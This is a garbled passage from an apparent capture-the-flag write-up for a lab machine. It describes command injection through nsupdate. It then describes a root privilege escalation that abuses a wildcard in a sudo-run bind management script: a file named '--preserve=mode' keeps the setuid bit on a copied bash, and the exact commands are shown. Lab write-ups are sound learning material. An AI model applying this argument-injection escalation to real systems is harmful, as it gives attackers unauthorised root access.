Error message showing that nsupdate failed nsupdate is shell utility that could be used to update dynamic DNS records. For this case it is possible to inject shell commands.
This allowed to execute ping command to my local machine.
First is needed to add main A record as for every PTR record need A record. The A record point Domain Name/Hostname to IP the PTR record is opposite it points IP to Domain Name/Hostname
This allowed to login with obtained private key as bindmgr user
bindmgr
User bindmgr can run /usr/local/bin/bindmgr.sh as root without password
Source of bindmgr.sh
#!/usr/bin/bash# This script generates named.conf.bindmgr to workaround the problem# that bind/named can only include single files but no directories.## It creates a named.conf.bindmgr file in /etc/bind that can be included# from named.conf.local (or others) and will include all files from the# directory /etc/bin/named.bindmgr.## NOTE: The script is work in progress. For now bind is not including# named.conf.bindmgr.## TODO: Currently the script is only adding files to the directory but# not deleting them. As we generate the list of files to be included# from the source directory they won't be included anyway.BINDMGR_CONF=/etc/bind/named.conf.bindmgrBINDMGR_DIR=/etc/bind/named.bindmgrindent() { sed's/^/ /'; }# Check versioning (.version)echo"[+] Running $0 to stage new configuration from $PWD."if [[ !-f .version ]] ; thenecho"[-] ERROR: Check versioning. Exiting."exit42fiif [[ "`cat.version2>/dev/null`"-le"`cat $BINDMGR_DIR/.version2>/dev/null`" ]] ; thenecho"[-] ERROR: Check versioning. Exiting."exit43fi# Create config file that includes all files from named.bindmgr.echo"[+] Creating $BINDMGR_CONF file."printf'// Automatically generated file. Do not modify manually.\\n'> $BINDMGR_CONFfor file in* ; doprintf'include "/etc/bind/named.bindmgr/%s";\\n'"$file">> $BINDMGR_CONFdone# Stage new version of configuration files.echo"[+] Staging files to $BINDMGR_DIR."cp.version*/etc/bind/named.bindmgr/# Check generated configuration with named-checkconf.echo"[+] Checking staged configuration."named-checkconf $BINDMGR_CONF >/dev/nullif [[ $? -ne0 ]] ; thenecho"[-] ERROR: The generated configuration is not valid. Please fix following errors: "named-checkconf $BINDMGR_CONF 2>&1|indentexit44elseecho"[+] Configuration successfully staged."# *** TODO *** Uncomment restart once we are live.# systemctl restart bind9if [[ $? -ne0 ]] ; thenecho"[-] Restart of bind9 via systemctl failed. Please check logfile: "systemctlstatusbind9elseecho"[+] Restart of bind9 via systemctl succeeded."fifi
The vulnerable code is cp .version * /etc/bind/named.bindmgr/ and this can be used to inject commands for example additional flags for the cp command Commands
bindmgr@dynstr:/tmp/soviet$echo"2137">.version#this is needed for the script to runbindmgr@dynstr:/tmp/soviet$cp/bin/bashsoviet# Copied bash and renamed it to sovietbindmgr@dynstr:/tmp/soviet$chmod+ssoviet# add setuid bit to the bashbindmgr@dynstr:/tmp/soviet$ echo > "--preserve=mode" # this inject the --preserve flag with value mode and this prevents from dropping setuid bit
bindmgr@dynstr:/tmp/soviet$sudo/usr/local/bin/bindmgr.sh# running script